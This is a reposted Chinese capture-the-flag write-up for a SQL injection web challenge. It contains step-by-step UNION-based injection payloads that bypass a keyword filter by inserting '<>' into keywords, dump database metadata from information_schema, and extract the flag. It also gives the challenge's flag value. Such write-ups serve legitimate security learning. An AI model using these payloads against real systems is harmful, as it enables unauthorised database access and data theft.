# 百度杯CTF夺旗大赛9月场writeup

转载

weixin_30512043 于 2016-09-30 17:33:00 发布 96 收藏
文章标签： php 操作系统 数据库
原文链接：http://www.cnblogs.com/wangleiblog/p/5924451.html

在i春秋上注册了账号，准备业余时间玩玩CTF。其中的九月场已经打完了，但是不妨碍我去做做题，现在将一些思路分享一下。

一. 第二场web SQL

根据题目来看是一个SQL注入的题目：

这里推荐两篇文章：

sql注入字符绕过方法：http://www.2cto.com/Article/201301/182519.html

sql注入实例一枚： http://blog.csdn.net/praifire/article/details/51926863

下面是这个题目的思路：

1. 首先看看是否有字符过滤，
把所有字符串都试一遍
/index.php?id = 1~!@$%^&*()_+-={}[]";<>/?
发现<>直接被删除，即是：sele<>ct --> select
符号+被替换为空格等等

2. 获取当前表的字段个数：
使用语句：
/index.php?id=1 order by [数值]
由于有过滤，这里进行替换：
首先数值是1：
/index.php?id=1 ord<>er by 1 正常返回
然后2：
/index.php?id=1 ord<>er by 2 正常返回
/index.php?id=1 ord<>er by 4 无返回
/index.php?id=1 ord<>er by 3 正常返回
可以判定，字段数为3

3. 使用联合查询，获取可以显示的字段
[注：联合查询，union，参考：http://www.jb51.net/article/48933.htm]
/index.php?id=1 union select 1,2,3
/index.php?id=1 uni<>on sel<>ect 1,2,3
执行之后，第二个字段被显示出来，说明三个字段只有第二个字段可以显示。

4、暴出数据库用户、版本、库名和路径信息,运气不错，是root权限。
/index.php?id=1 union select
1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
/index.php?id=1 uni<>on sel<>ect
1,gro<>up_con<>cat(u<>ser(),0x5e5e,vers<>ion(),0x5e5e,datab<>ase(),0x5e5e,@@base<>dir),3
返回：sqli@localhost^^5.5.50-0ubuntu0.14.04.1^^sqli^^/usr
一个名为sqli的用户，操作系统为ubuntu

5.暴出当前库中的所有表名，查了下只有一个account表还比较像存放用户名和口令信息的表
/index.php?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
/index.php?id=1 un<>ion se<>lect 1,gro<>up_concat(table_na<>me),3 fr<>om in<>formation_schema.tab<>les where table_sc<>hema=dat<>abase()
返回：info
说明只有一个info表。

6.暴出info表中的所有字段名
/index.php?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
/index.php?id=1 uni<>on se<>lect 1,grou<>p_con<>cat(co<>lumn_name),3 from information_schema.colu<>mns wher<>e table_name='info'
返回：
id,title,flAg_T5ZNdrm
表中有三个字段：目测flag应该就在flAg_T5ZNdrm中：

7.暴出flAg_T5ZNdrm字段里的内容:
/index.php?id=1 union select 1,group_concat(flAg_T5ZNdrm),3 from info
/index.php?id=1 un<>ion se<>lect 1,group_concat(flAg_T5ZNdrm),3 from info
返回：
flag{8b62cfab-d5ba-4ae8-bf35-44aa1e15d6ea},test

得到flag：
flag{8b62cfab-d5ba-4ae8-bf35-44aa1e15d6ea}

转载于:https://www.cnblogs.com/wangleiblog/p/5924451.html